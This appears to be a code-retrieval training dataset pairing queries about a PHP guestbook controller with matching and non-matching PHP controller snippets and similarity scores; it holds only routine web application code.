query
stringlengths
7
5.25k
document
stringlengths
15
1.06M
metadata
dict
negatives
sequencelengths
3
101
negative_scores
sequencelengths
3
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
avslutar konstruktor Implementing interface IController. All controllers must have an index action. Show a standard frontpage for the guestbook.
public function Index() { $this->views->SetTitle('Maveric Guestbook Example'); $this->views->AddInclude(__DIR__ . '/index.tpl.php', array( 'entries'=>$this->guestbookModel->ReadAll(), 'form_action'=>$this->request->CreateUrl('', 'handler') )); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction() {\r\n\r\n// NSP::$app->registry->view->welcome = 'Welcome to NSP MVC';\r\n//\r\n// /*** load the index template ***/\r\n NSP::$app->view->viewVar = 'Rest controller';\r\n NSP::$app->registry->get('view')->show('index');\r\n }", "public function index() {\r\n $this->display(\r\n 'front/index.html.twig',\r\n [\r\n ]\r\n );\r\n }", "public function index() {\n\n\t\t\t$controller = $this->nav->getPageController();\n\t\t\tif(isset($controller) && is_object($controller)) {\n\t\t\t\tassert($controller instanceof \\Toeswade\\IController);\n\n\t\t\t\t$action = $this->nav->getPageAction();\n\t\t\t\t$params = $this->nav->getParams();\n\t\t\t\t\n\t\t\t\tif(isset($action)) {\n\t\t\t\t\t$view = $controller->$action($params);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$view = $controller->index();\n\t\t\t\t}\n\n\t\t\t\tassert($view instanceof \\Toeswade\\IView);\n\t\t\t\t$main = $view->getHTML();\n\t\t\t\t$title = $view->getTitle();\n\n\t\t\t}\n\n\t\t\telse {\n\t\t\t\t$main = 'default';\n\t\t\t\t$title = $main;\n\t\t\t}\n\t\t\t$this->view->setTitle($title);\n\t\t\t$this->view->setMain($main);\n\t\t\t$this->view->setNav($this->nav->getMainNavigation());\n\n\t\t\t$this->view->render();\n\t\t}", "public function index()\n\t{\n parent::show();\n\t\t//\n\t}", "public function index()\n {\n $this->show();\n }", "function index() {\r\n \t\r\n // The default action is the showall action\r\n $this->browse();\r\n }", "public function Index(){\n\t\t$this->views->SetTitle('Gästboken');\n\t\t$this->views->AddInclude(__DIR__ . '/index.tpl.php',\n\t\t\tarray('comments'=>$this->guestbookModel->ShowAll(),\n\t\t\t\t'formAction'=>$this->request->CreateUrl('', 'handler'),\n\t\t\t\t));\t\n\t}", "function & DefaultIndexAction (&$controller)\n {\n\n parent::Action($controller);\n\n }", "public function index() {\n\t\t$this->display('index');\n\t}", "public function indexAction()\n {\n // replace this example code with whatever you need\n return $this->render('FrontBundle:Home:index.html.twig', []);\n }", "public function indexAction(){}", "public function Index()\n\t{\n\t\t$this->views->SetTitle('Index Controller');\n\t\t$this->views->AddView('index/index.tpl.php', array(),'primary');\n\t}", "public function indexAction()\n {\n return $this->render('PixellaryInhouseBundle:Default:index.html.twig');\n }", "public function indexAction() {}", "public function indexAction() {}", "public function indexAction() {}", "public function indexAction() {}", "public function indexAction() {}", "public function indexAction() {}", "public function indexAction() {}", "public function indexAction() {}", "public function indexAction() {}", "public function indexAction() {}", "public function indexAction() {\n $this->view->render(\"Главная страница\", 0);\n }", "public function indexAction() {}", "public function indexAction()\n {\n $this->render('/views/index.html');\n }", "public function indexAction() {\r\n }", "public function indexAction()\n {\n// $this->view = 'index';\n }", "public function indexAction() {\r\n\t\tif (install_installer::checkFirstRun() )\r\n\t\t{\r\n\t\t $front = new Front( ClassLoader::Load('install') );\r\n\t\t return $front->dispatch('install');\r\n\t\t}\r\n\t\t\r\n\t\t$content = ClassLoader::Load('catalog');\r\n\t\t$front = new Front($content);\r\n\t\treturn $front->dispatch('showall');\r\n\t\t\r\n\t}", "public function actionIndex() {}", "public function actionIndex() {}", "public function indexAction() {\n \n }", "public function actionIndex(){\r\r\n\t\t$this->render('index', array());\r\r\n\t}", "public function indexAction() {\n }", "public function indexAction() {\n }", "public function indexAction() \n\t{\n\t\t$this->_forward('view');\n\t}", "public function indexAction()\n {\n $this->_forward($this->_getBrowseAction());\n }", "public function index_front()\n {\n //Get Books\n $books = Book::paginate(10);\n return view('index')->with('data', $books);\n }", "public function indexAction()\n\t{\n\t\t$this->_forward('view');\n\t}", "public function indexAction(){\t\t\n\t}", "public function indexAction()\n {\n return $this->render('CostoSystemBundle:Home:index.html.twig');\n }", "protected function indexAction() {}", "public function indexAction()\n\t{\n\t\tif (Engine_Api::_() -> user() -> getViewer() -> getIdentity())\n\t\t{\n\t\t\t$this -> setNoRender();\n\t\t\treturn;\n\t\t}\n\n\t\t// Get Params\n\t\t$this->view->iconsize = $this->_getParam('iconsize', 24);\n\t\t$this->view->margintop = $this->_getParam('margintop', 0);\n\t\t$this->view->marginright = $this->_getParam('marginright', 0);\n\t\t\n\t}", "public function indexAction()\r\n {\r\n return $this->render('BoutiqueGestionStockBundle:Home:index.html.twig');\r\n }", "public function show()\n {\n new $this->controller();\n }", "public function indexAction ()\r\n {\r\n\r\n }", "public function indexAction()\n {\n $ctrl = $this->dbController->find($this->checkControllerIdParam());\n $vCtrl = FALSE;\n $vAction = array();\n\n IF($ctrl->count() === 1) {\n $ctrlRow = new Admin_Model_DbRow_Controller($ctrl->current());\n\n FOREACH($this->dbAction->findActionByControllerId($ctrlRow->get('id')) AS $row) {\n $vAction[] = new Admin_Model_DbRow_Action($row);\n }\n\n $vCtrl = $ctrlRow;\n }\n \n $this->view->controller = $vCtrl;\n $this->view->actions = $vAction;\n }", "public function indexAction() {\r\n \r\n }", "public function indexAction() {\n\t}", "public function indexAction() {\n\t}", "public function indexAction() {\n\n\t}", "public function index(){\n \n $this->display();\n }", "public function indexAction ()\n {\n $this->_pageTitle = ['Admin Console'];\n }", "public function index()\n\t{\n\t\t//get all accessories\n\t\t$accessories = $this->Accessories->all();\n\t\t//get all categories\n\t\t$categories = $this->Categories->all();\n\t\t//inject model into controller\n\t\t$this->data['accessories'] = $accessories;\n\t\t//inject model into controller\n\t\t$this->data['categories'] = $categories;\n\t\t$this->data['pagebody'] = 'catalogue';\n\t\t$this->data['pagetitle'] = 'Catalog Page';\n\t\t$this->render();\n\t}", "public function indexAction() \n {\n \t\n }", "public function indexAction(){\r\n\t\t\t\r\n\t\t}", "public function indexAction()\n {\n session_start();\n // On vérifie si le visiteur viens pour la premier fois sur le site\n $this->session();\n // On récuper la liste des contents\n $contents = $this->contentManager->findAllPerPage(\"index\");\n // On va récupérer le dernier article publier\n $chapterManager = new ChapterManager();\n $chapter = $chapterManager->findLastPublished();\n if (!$contents || !$chapter) {\n throw new \\Exception(\"Page introuvable\");\n }\n echo $this->render(\n 'index.html.twig',\n array('contents' => $contents, 'chapter' => $chapter),\n $_SESSION\n );\n }", "public function actionIndex(){ \n $this->view(\"index.php\");\n }", "public function actionIndex()\n {\n $this->render('index');\n }", "public function index(){\r\n $this->display();\r\n }", "public function indexFrontAction(Request $request);", "protected function indexAction()\n {\n }", "public function indexAction() {\n\n }", "public function indexAction() {\n\n }", "public function actionIndex()\n\t{\n\t\t\n\t\t$this->render('index');\n\t}", "public function actionIndex()\n {\n $this->loadView('client/index');\n }", "public function Index() {\n $this->Display();\n }", "public function indexAction()\n {\n return $this->render('default/index.html.twig');\n }", "public function indexAction()\n {\n return $this->render('default/index.html.twig');\n }", "public function indexAction()\n {\n return $this->render('default/index.html.twig');\n }", "public function frontpage() {\n\t\t\n\t\t$this->set('page_title', 'Welcome'); // this is hardcoded for index page\n\t\t$this->render('index');\n\t}", "public function indexAction()\n {\n $this->_forward('view');\n }", "public function actionIndex()\n {\n\n }", "public function actionIndex()\n\t{\n\t $this->pageTitle = 'Get Started';\n\t\t$this->render('index');\n\t}", "public function indexAction()\n\t{\n\t\t//echo 'Hello from the index action in the Home controller!';\n\t\t\n\t\t/*View::render('Home' . DS . 'index.php', [\n\t\t\t\"name\" => \"Laura\",\n\t\t\t\"colours\" => [\"red\", \"green\", \"blue\"]\n\t\t]);*/\n\t\t\n\t\t// View::renderTemplate('Home' . DS . 'index.html', [\n\t\t// \t\"name\" => \"Laura\",\n\t\t// \t\"colours\" => [\"red\", \"green\", \"blue\"]\n // ]);\n \n\t\t$this->showRouteParams();\n\t\t// echo \"Hello, World!\";\n }", "public function index(){\r\n $this->display(index);\r\n }", "public function action_index()\r\n\t{\r\n\t\t$this->title = 'Welcome';\r\n\t\t$this->template->content = View::factory('index');\r\n\t}", "public function actionIndex()\n {}", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "public function actionIndex()\n\t{\n\t\t$this->render('index');\n\t}", "public function actionIndex()\n\t{\n\t\t$this->render('index');\n\t}", "public function actionIndex()\n\t{\n\t\t$this->render('index');\n\t}", "public function actionIndex()\n\t{\n\t\t$this->render('index');\n\t}", "public function indexAction()\n {\n }", "public function indexAction()\n {\n }", "public function indexAction()\n {\n }", "public function indexAction()\n {\n }", "public function indexAction()\n {\n }", "public function indexAction()\n {\n }", "public function homeAction()\n {\n return $this->render('AdvertBundle:Default:index.html.twig');\n }", "public function index() {\n\n\t\t$data['content'] = 'Homepage';\n\t\t$this->flexi->title('Homepage')\n\t\t\t\t\t->make('home', $data);\n\n\t}", "function index() {\n $this->renderView(\"index\");\n }", "public function indexAction() {\n\t\t$this->_initAction()\n\t\t\t->renderLayout();\n\t}", "public function indexAction()\n {\n //for real application\n }", "public function homeAction(){\n return $this->render('HMMainBundle:Default:index.html.twig');\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function indexAction()\n { \n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem(\"Administración\", $this->generateUrl('dashboard'));\n $breadcrumbs->addItem(\"Usuarios\");\n \n return $this->render('UserBundle:Backend:index.html.twig');\n }", "public function indexAction(){\n\t\techo \"Welcome malt api controller\";\n\t\texit;\n\t}", "public function indexAction()\n {\n \n }", "public function indexAction()\n {\n \n }" ]
[ "0.7155983", "0.71052855", "0.70617056", "0.7038327", "0.702092", "0.68903476", "0.68786305", "0.68636024", "0.68629026", "0.68466973", "0.6833652", "0.68304604", "0.6802367", "0.6781108", "0.6779859", "0.6779859", "0.6779859", "0.6779859", "0.6779859", "0.6779859", "0.6779859", "0.6779859", "0.6779859", "0.6779453", "0.6778696", "0.67717445", "0.67573243", "0.6754534", "0.6733365", "0.6731336", "0.6731336", "0.6705176", "0.66910976", "0.6686316", "0.6686316", "0.6673908", "0.66723794", "0.6669278", "0.6664201", "0.6663259", "0.6662269", "0.6661364", "0.66574174", "0.66563123", "0.66560745", "0.66468245", "0.6645809", "0.66379774", "0.6637071", "0.6637071", "0.66305906", "0.6616807", "0.6615852", "0.6615185", "0.6614449", "0.6609208", "0.660823", "0.6607492", "0.6605906", "0.6605484", "0.66021657", "0.6597705", "0.65948963", "0.65948963", "0.6593494", "0.6591502", "0.6588148", "0.65869", "0.65869", "0.65869", "0.658315", "0.65820384", "0.65815324", "0.6580973", "0.65796876", "0.65778947", "0.65762246", "0.6575614", "0.6575382", "0.657483", "0.657483", "0.657483", "0.657483", "0.6571248", "0.6571248", "0.6571248", "0.6571248", "0.6571248", "0.6571248", "0.65675986", "0.65626705", "0.65606076", "0.6553557", "0.6553056", "0.6550237", "0.65475196", "0.6547282", "0.65462685", "0.654273", "0.654273" ]
0.65684193
89
avslutar metod Handle posts from the form and take appropriate action.
public function Handler() { if(isset($_POST['doAdd']) && empty($_POST['email'])) { $this->guestbookModel->Add(strip_tags($_POST['newEntry'])); } elseif(isset($_POST['doClear'])) { $this->guestbookModel->DeleteAll(); } elseif(isset($_POST['doCreate'])) { $this->guestbookModel->Init(); } $this->RedirectTo($this->request->CreateUrl($this->request->controller)); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function _handleFormPost()\n {\n // see submit.php\n // 'FILE_OBJECTS' => 'handle_file_post',\n // 'BASE64_ENCODED_FILE_OBJECTS' => 'handle_base64_encoded_file_post',\n // 'TRANSFER_IDS' => 'handle_transfer_ids_post'\n }", "public function postAction() {}", "function handle_post($indata) {\n// showDebug('form_class POST:');\n// showArray($indata); \n return;\n }", "public function postAction() {\n\t\t\t$this->_forward('index');\n\t }", "protected function _handle_forms()\n\t{\n\t\tif (!strlen($this->_form_posted)) return;\n\t\t$method = 'on_'.$this->_form_posted.'_submit';\n\n\t\tif (method_exists($this, $method))\n\t\t{\n\t\t\tcall_user_func(array($this, $method), $this->_form_action);\n\t\t\treturn;\n\t\t}\n\n\t\tforeach ($this->controls as $k=>$v)\n\t\t{\n\t\t\t$ctl = $this->controls[$k];\n\n\t\t\tif (method_exists($ctl, $method))\n\t\t\t{\n\t\t\t\t$ctl->page = $this;\n\t\t\t\tcall_user_func(array($ctl, $method), $this->_form_action);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tif (DEBUG) dwrite(\"Method '$method' not defined\");\n\t}", "function handle($args)\n {\n parent::handle($args);\n if ($_SERVER['REQUEST_METHOD'] == 'POST') {\n $this->trySave();\n } else {\n $this->showForm();\n }\n }", "public function postAction()\n {\n \n }", "public function postAction()\n {\n // Nothing to do\n }", "public function formAction() {}", "public function postAction()\n {\n }", "public function submit() {\n $post = Post::submit();\n require_once('view/posts/submit.php');\n \n \n }", "public function postAction() {\n\n }", "public function handlePost()\n {\n return parent::handlePost();\n }", "public static abstract function postSubmit(Form $form);", "public function post();", "public function post();", "public function post();", "public function indexAction()\n {\n\t\t\t\n\t\t\tif ($this->getRequest()->getMethod() === 'POST') {\n\t\t \t\treturn $this->_forward('post');\n\t\t \t}\n\t\t \t\n\t\t}", "private function managePost()\n {\n // Do only react on POST requests\n if ($_SERVER['REQUEST_METHOD'] != 'POST' || empty($_POST)) {\n return;\n }\n\n /* @var $post \\Core\\Http\\Post\\Post */\n $this->di->mapService('core.http.post', '\\Core\\Http\\Post\\Post');\n\n $post = $this->di->get('core.http.post');\n\n // Setting the name of the session token that has to/gets sent with a form\n $post->setTokenName($this->config->get('Core', 'security.form.token'));\n\n // Validate posted token with session token\n if (!$post->validateCompareWithPostToken($this->di->get('core.security.form.token'))) {\n return;\n }\n\n // Some data cleanup\n $post->trimData();\n\n // Assingn app related post data to the corresponding app\n $post_data = $post->get();\n\n foreach ($post_data as $name => $data) {\n $app = $this->getAppInstance($name);\n $app->post->set($data);\n }\n }", "function dirtag_cms_form_action (&$this, $args)\n{\n $ui =& $app->ui;\n\n return $ui->url (new event ('form_parser'));\n}", "protected function handlePOST() {\n // handlePOST forwards to handleGET unless redefined.\n return $this->handleGET();\n\n // A defined handlePOST should look something like ...\n // if(!$this->validatePOST()) {\n // $this->render('error_page.html', params);\n // } else {\n // ... Do the stuff ...\n //\n // $this->render('success_page.html', $params);\n // }\n }", "abstract public function post();", "public function index()\n\t{\n\n\t\tif ($_POST)\n\t\t\t$this->_redirect();\n\t}", "public function Handler(){\n\t\tif (isset($_POST['add'])){\n\t\t\t$this->guestbookModel->Add(strip_tags($_POST['comment']));\n\t\t} elseif(isset($_POST['clear'])){\n\t\t\t$this->guestbookModel->DeleteAll();\n\t\t} elseif(isset($_SESSION['create'])){\n\t\t\t$this->guestbookModel->Init();\n\t\t}\n\t\t$this->RedirectTo($this->request->CreateUrl($this->request->controller));\n\t}", "function index_post() {\n $this->crud_post($this->post());\n }", "protected function _handlePostAction()\n {\n $postData = $this->getRequest()->getPost();\n\n switch (true) {\n case array_key_exists('_cancel', $postData);\n $this->_goto($this->_getBrowseAction());\n break;\n }\n }", "function handle_form() {\n\t\tglobal $wpdb;\n\t\t\n\t\t// Exit if user not logged in\n\t\t// TODO: GET THIS WORKING TO AVOID NON-ADMINS USING IT\n/*\t\tif( ! is_user_logged_in() ) {\n\t\t\tcpd_not_logged_in_message();\n\t\t\treturn;\t\n\t\t}\n*/\n\t\t// Exit if the Cancel button was pressed, and redirect to page that lists all orgs\n\t\tif( isset( $_POST['submit'] ) && 'Cancel' == $_POST['submit'] ) {\n\t\t\t\n\t\t\t// TODO: Check destination\n\t\t\twp_safe_redirect( site_url() . '/admin/list-orgs' );\n\t\t\texit();\n\t\t}\n\n\t\t$org = new Organisation();\n\n\t\t$org->save_org_from_post();\n\t\t\n\t}", "public function post()\n {\n $postId = $this->request->getParameter(\"id\"); /* le parametre disparait lors de l'annonce de \"public function post($postId)\". On l'annonce\n du coup en début de la méthode en faisant appel à la méthode getParameter de la class Request */\n $post = $this->post->getPost($postId); // va chercher la méthode GetPost($postId) dans le Model Post.php l.33\n $this->buildView(array('post' => $post));\n }", "public function handleDataSubmission() {}", "public static function run () {\n\t\t\t$form = new FormHandler();\n\n\t\t\t$form->addValuesArray($_POST);\n\n\t\t\t# Add all the fields\n\t\t\t$form->addField(array(\n\t\t\t\t'name'\t\t=> 'title', \n\t\t\t\t'title'\t\t=> Lang::get('Site Title'),\n\t\t\t\t'required'\t=> true\n\t\t\t));\n\t\t\t$form->addField(array(\n\t\t\t\t'name'\t\t=> 'url', \n\t\t\t\t'title'\t\t=> Lang::get('URL'),\n\t\t\t\t'required'\t=> true\n\t\t\t));\n\t\t\t$form->addField(array(\n\t\t\t\t'name'\t\t=> 'thumb_url', \n\t\t\t\t'title'\t\t=> Lang::get('URL to Thumbnail')\n\t\t\t));\n\t\t\t$form->addField(array(\n\t\t\t\t'name'\t\t=> 'content', \n\t\t\t\t'title'\t\t=> Lang::get('Description'), \n\t\t\t\t'type'\t\t=> 'textarea',\n\t\t\t\t'required'\t=> true\n\t\t\t));\n\t\t\t$form->addField(array(\n\t\t\t\t'name'\t\t=> 'author', \n\t\t\t\t'title'\t\t=> Lang::get('Your Name'), \n\t\t\t\t'required'\t=> true\n\t\t\t));\n\t\t\t$form->addField(array(\n\t\t\t\t'name'\t\t=> 'email', \n\t\t\t\t'title'\t\t=> Lang::get('And E-mail'), \n\t\t\t\t'required'\t=> true\n\t\t\t));\n\t\t\t$form->addField(array(\n\t\t\t\t'name'\t\t=> 'add_site_submit', \n\t\t\t\t'type'\t\t=> 'hidden', \n\t\t\t\t'value'\t\t=> '1'\n\t\t\t));\n\n\t\t\t# User is submitting form\n\t\t\t# Make sure form is valid (true => check for spam as well)\n\t\t\tif (isset($_POST['add_site_submit']) and $form->validate(true)) {\n\t\t\t\t# Add new site\n\t\t\t\tSites::insert(array(\n\t\t\t\t\t'author'\t\t=> $_POST['author'], \n\t\t\t\t\t'email'\t\t\t=> $_POST['email'], \n\t\t\t\t\t'title'\t\t\t=> $_POST['title'], \r\n\t\t\t\t\t'content'\t\t=> $_POST['content'], \r\n\t\t\t\t\t'thumb_url'\t\t=> isset($_POST['thumb_url']) ? $_POST['thumb_url'] : '', \r\n\t\t\t\t\t'url'\t\t\t=> $_POST['url'], \r\n\t\t\t\t\t'url_str'\t\t=> Router::urlize($_POST['title']), \n\t\t\t\t\t'pub_date'\t\t=> date('Y-m-d H:i:s')\n\t\t\t\t));\n\n\t\t\t\t# Redirect after POST\n\t\t\t\tredirect('?added_site');\r\n\t\t\t}\n\n\t\t\t# Form has been submitted\n\t\t\tif (isset($_GET['added_site'])) {\n\t\t\t\tself::$tplFile = 'ThankYou';\n\t\t\t}\n\t\t\t# Form has NOT been submitted\n\t\t\telse {\n\t\t\t\t# Assign form HTML to template vars\n\t\t\t\tself::$tplVars['form_html'] = $form->asHTML();\n\t\t\t}\n\t\t}", "function handle()\n {\n $this->verifyPost();\n\n $postTarget = $this->determinePostTarget();\n\n $this->filterPostData();\n\n switch ($postTarget) {\n case 'upload_media':\n $this->handleMediaFileUpload();\n break;\n case 'feed':\n $this->handleFeed();\n break;\n case 'feed_media':\n $this->handleFeedMedia();\n break;\n case 'feed_users':\n $this->handleFeedUsers();\n break;\n case 'delete_media':\n $this->handleDeleteMedia();\n break;\n }\n }", "public function postsAction() {\n\n $params = $this->_request->getParams();\n $this->view->ajax_post = isset($params['ajax_post']) ? TRUE : FALSE;\n\n //Добавим путь к действию\n $this->_breadcrumbs->addStep($this->Translate('Список сообщений в блогах'));\n }", "function post_handler() {\r\n\r\n if ($this->action == 'new' or $this->action == 'edit') { # handle new-save\r\n # check permission first\r\n if ( ($this->action == 'new' and !$this->allow_new) or ($this->action == 'edit' and !$this->allow_edit) )\r\n die('Permission not given for \"'.$this->action.'\" action.');\r\n\r\n $_REQUEST['num_row'] = intval($_REQUEST['num_row']) > 0? intval($_REQUEST['num_row']): 1; # new row should get the number of row to insert from num_row\r\n # import suggest field into current datasource (param sugg_field[..]). note: suggest field valid for all rows\r\n if ($this->action == 'new')\r\n $this->import_suggest_field_to_ds();\r\n # only do this if post come from edit form. bground: browse mode now can contain <input>, which value got passed to edit/new mode\r\n if ($this->_save == '') { # to accomodate -1 (preview)\r\n\t\t\t\treturn False;\r\n\t\t\t}\r\n\r\n $this->import2ds(); # only do this if post come from edit form. bground: browse mode now can contain <input>, which value got passed to edit/new mode\r\n $this->db_count = $_REQUEST['num_row']; # new row should get the number of row to insert from num_row\r\n # check requirement\r\n\r\n if (!$this->validate_rows()) # don't continue if form does not pass validation\r\n return False;\r\n\r\n if ($this->action == 'new') {\r\n for ($i = 0; $i < $this->db_count; $i++) {\r\n if (!$this->check_datatype($i)) { # check duplicate index\r\n return False;\r\n }\r\n\r\n if (!$this->check_duplicate_index($i)) { # check duplicate index\r\n return False;\r\n }\r\n if (!$this->check_insert($i)) { # check insertion\r\n return False;\r\n }\r\n }\r\n\r\n if ($this->preview[$this->action] and $this->_save == -1) { # show preview page instead\r\n $this->_preview = True;\r\n return False;\r\n }\r\n\r\n for ($i = 0; $i < $this->db_count; $i++) {\r\n $this->insert($i);\r\n }\r\n\r\n if ($this->_go != '') {\r\n while (@ob_end_clean());\r\n header('Location: '.$this->_go);\r\n exit;\r\n }\r\n }\r\n elseif ($this->action == 'edit') {\r\n $this->populate($this->_rowid, True);\r\n for ($i = 0; $i < $this->db_count; $i++) {\r\n #~ if (!$this->check_duplicate_index($i)) { # check duplicate index\r\n #~ return False;\r\n #~ }\r\n if (!$this->check_update($i)) { # check insertion\r\n return False;\r\n }\r\n }\r\n\r\n if ($this->preview[$this->action] and $this->_save == -1) { # show preview page instead\r\n $this->_preview = True;\r\n return False;\r\n }\r\n\r\n for ($i = 0; $i < $this->db_count; $i++) {\r\n $this->update($i);\r\n }\r\n\r\n if ($this->_go != '') {\r\n #~ include('footer.inc.php');\r\n header('Location: '.$this->_go);\r\n exit;\r\n }\r\n }\r\n }\r\n elseif ($this->action == 'csv') {\r\n /* generate CSV representation of loaded datasource\r\n http://www.creativyst.com/Doc/Articles/CSV/CSV01.htm\r\n */\r\n if (AADM_ON_BACKEND!=1)\r\n die('Permission not given for \"'.$this->action.'\" action.');\r\n $this->browse_rows = 0; # show all data\r\n $this->populate();\r\n $rows = array();\r\n $fields = array();\r\n foreach ($this->properties as $colvar=>$col) {\r\n $vtemp = $this->ds->{$colvar}[$i];\r\n $vtemp = str_replace('\"','\"\"',$vtemp);\r\n $vtemp = (strpos($vtemp,',') === false and strpos($vtemp,'\"') === false and strpos($vtemp,\"\\n\") === false)? $vtemp: '\"'.$vtemp.'\"';\r\n $fields[] = (strpos($col->label,',') === false)? $col->label: '\"'.$col->label.'\"';\r\n }\r\n $rows[] = join(',',$fields);\r\n for ($i = 0; $i < $this->db_count; $i++) {\r\n $fields = array();\r\n foreach ($this->properties as $colvar=>$col) {\r\n $vtemp = $this->ds->{$colvar}[$i];\r\n $vtemp = str_replace('\"','\"\"',$vtemp);\r\n $vtemp = (strpos($vtemp,',') === false and strpos($vtemp,'\"') === false and strpos($vtemp,\"\\n\") === false)? $vtemp: '\"'.$vtemp.'\"';\r\n $fields[] = $vtemp;\r\n }\r\n $rows[] = join(',',$fields);\r\n }\r\n #~ header('Content-type: application/vnd.ms-excel');\r\n header('Content-type: text/comma-separated-values');\r\n header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT');\r\n header('Content-Disposition: inline; filename=\"dump.csv\"');\r\n header('Cache-Control: must-revalidate, post-check=0, pre-check=0');\r\n header('Pragma: public');\r\n header('Expires: 0');\r\n\r\n echo join(\"\\r\\n\",$rows);\r\n exit();\r\n }\r\n else { # no-act handler, call its post function callbacks if available\r\n if (AADM_ON_BACKEND==1) {\r\n $callback = 'act_'.$this->action;\r\n if (method_exists($this, $callback)) {\r\n $this->$callback(True);\r\n }\r\n }\r\n }\r\n }", "public function execute()\n {\n $data = $this->getRequest()->getPostValue();\n if (!$data) {\n $this->_redirect('*/*/answer');\n return;\n }\n try {\n\n /** @var Contact $contact */\n $contact = $this->contactRepository->getById($data['id']);\n $contact->setAnswer($data['answer']);\n $contact->setAnsweredStatus(true);\n $this->contactRepository->save($contact);\n $this->messageManager->addSuccess(__('Answer has been successfully saved.'));\n } catch (\\Exception $e) {\n $this->messageManager->addError(__($e->getMessage()));\n }\n $this->_redirect('slavik_contact/post/index');\n }", "function process_post()\n \t{\n \t\treturn $this->class_post->process_post();\n \t}", "public function postAction() {\n\t\t$this->sendMessage();\n\t}", "function _post_handler() {\n\n\t\tif ($this->input->post('btn_add')) {\n\n\t\t\tredirect('contracts/create');\n\n\t\t}\n\n\t\t/* Has the Cancel button been pressed? */\n\n\t\telseif ($this->input->post('btn_cancel')) {\n\n\t\t\tredirect('contracts/index');\n\n\t\t}\n\n\t\t/* Has the Add Item to Contract button been pressed? */\n\n\t\telseif ($this->input->post('btn_add_new_item')) {\n\n\t\t\tredirect('contracts/contract_items/create/contract_id/'.uri_assoc('contract_id', 3));\n\n\t\t}\n\n\t\telseif ($this->input->post('btn_create_inv')) {\n\n\t\t\t$invoice_id = $this->mdl_contracts->create_invoice_from_contract(uri_assoc('contract_id', 3));\n\t\t\t\n\t\t\t//invoice_id is FALSE when invoice generation is forbidden\n\t\t\tif ($invoice_id){\n\t\t\t\tredirect('invoices/edit/invoice_id/' . $invoice_id);\n\t\t\t} else {\n\t\t\t\t$this->session->set_flashdata('custom_error',$this->lang->line('contract_no_invoice'));\n\t\t\t\tredirect('contracts/edit/contract_id/'.uri_assoc('contract_id', 3));\n\t\t\t}\n\n\t\t}\n\n\t}", "public function handlePost() {\n\n\t\t$data[\"msg\"] = \"\";\n\t\t$data[\"shoename\"] = $this->input->post('gtp_TransDetails');\n\t\t$data[\"shoeimagePath\"] = $this->input->post('shoeimage');\n\t\t$data[\"shoeprice\"] = $this->input->post('gtp_Amount');\n\t\t$data[\"currency\"] = $this->input->post('gtp_Currency');\n\t\t$data[\"order\"] = $this->input->post('gtp_OrderId');\n\t\t$data[\"product\"] = $this->input->post('gtp_TransDetails');\n\n\t\t$message = $this->validatePostData();\n\t\tif(strcmp($message, \"success\") != 0) {\n\t\t\t$data[\"msg\"] = $message;\n\t\t\t$data['page_title'] = \"xxOnline shoe | error\";\n\n\t\t\t$this->load->view('partials/header', $data);\n\t\t\t$this->load->view('item', $data);\n\t\t\t$this->load->view('partials/footer');\n\t\t}\n\n\t\telse {\n\t\t\t$this->processPayment();\n\t\t}\n\t}", "function PostActions()\n {\n }", "public function fillform() {\n // without an id we just redirect to the error page as we need the post id to find it in the database\n if (!isset($_GET['id']))\n return call('pages', 'error');\n\n // we use the given id to get the right post and delete from the database\n $post = Post::find($_GET['id']);\n require_once('view/posts/update.php');\n }", "public function form_submission() {\n\n\t\t// Check to see if this is a new post or has already been created.\n\t\tif ( isset( $_POST['object_id'] ) && ( get_post_type( $_POST['object_id'] ) !== 'tm-events-entries' ) && ( $_POST['object_id'] < 0 ) ) {\n\t\t\tremove_query_arg( 'entry' );\n\t\t\twp_redirect( home_url( $path = 'nominate/entry' ) );\n\t\t}\n\n\t\t// If no form submission, bail.\n\t\tif ( empty( $_POST ) || ! isset( $_POST['submit-cmb'], $_POST['object_id'] ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// Check if hidden form is present.\n\t\t// If it is then this has been submitted by a bot.\n\t\tif ( empty( $_POST ) || isset( $_POST['_nsa_entries_2016_hidden_check'] ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// Get CMB2 metabox object.\n\t\t$cmb = $this->get_current_form( $this->meta_prefix, 'fake-object-id' );\n\t\t$post_data = array();\n\n\t\t// Check security nonce.\n\t\tif ( ! isset( $_POST[ $cmb->nonce() ] ) || ! wp_verify_nonce( $_POST[ $cmb->nonce() ], $cmb->nonce() ) ) {\n\t\t\treturn $cmb->prop( 'submission_error', new WP_Error( 'security_fail', __( 'Security check failed.' ) ) );\n\t\t}\n\n\t\t// Check hidden box is NOT ticked.\n\t\tif ( ! isset( $_POST[ $cmb->nonce() ] ) || ! wp_verify_nonce( $_POST[ $cmb->nonce() ], $cmb->nonce() ) ) {\n\t\t\treturn $cmb->prop( 'submission_error', new WP_Error( 'security_fail', __( 'Security check failed.' ) ) );\n\t\t}\n\n\t\t// Check Post ID is valid.\n\t\t/*if ( (! is_int( $_POST['object_id'] ) ) || ( ! $_POST['object_id'] >= 0 ) || floor( $_POST['object_id'] ) !== $_POST['object_id'] ) {\n\t\t\treturn $cmb->prop( 'submission_error', new WP_Error( 'post_data_missing', __( 'Cannot submit your entry. Please try again' ) ) );\n\t\t}*/\n\n\t\t/**\n\t\t * Fetch sanitized values\n\t\t */\n\t\t$sanitized_values = $cmb->get_sanitized_values( $_POST );\n\n\t\t// Set our post data arguments.\n\t\t// If we are updating a post supply the id from our hidden field.\n\t\t$post_data['ID'] = absint( $_POST['object_id'] );\n\n\t\t$post_data['post_title'] = $sanitized_values['submitted_post_title'];\n\t\tunset( $sanitized_values['submitted_post_title'] );\n\t\t$post_data['post_content'] = '';\n\n\t\t// Set the post type we want to submit.\n\t\t$post_data['post_type'] = 'tm-events-entries';\n\t\t// Set the status of of post.\n\t\t$post_data['post_status'] = 'publish';\n\n\t\t// Create the new post.\n\t\t$new_submission_id 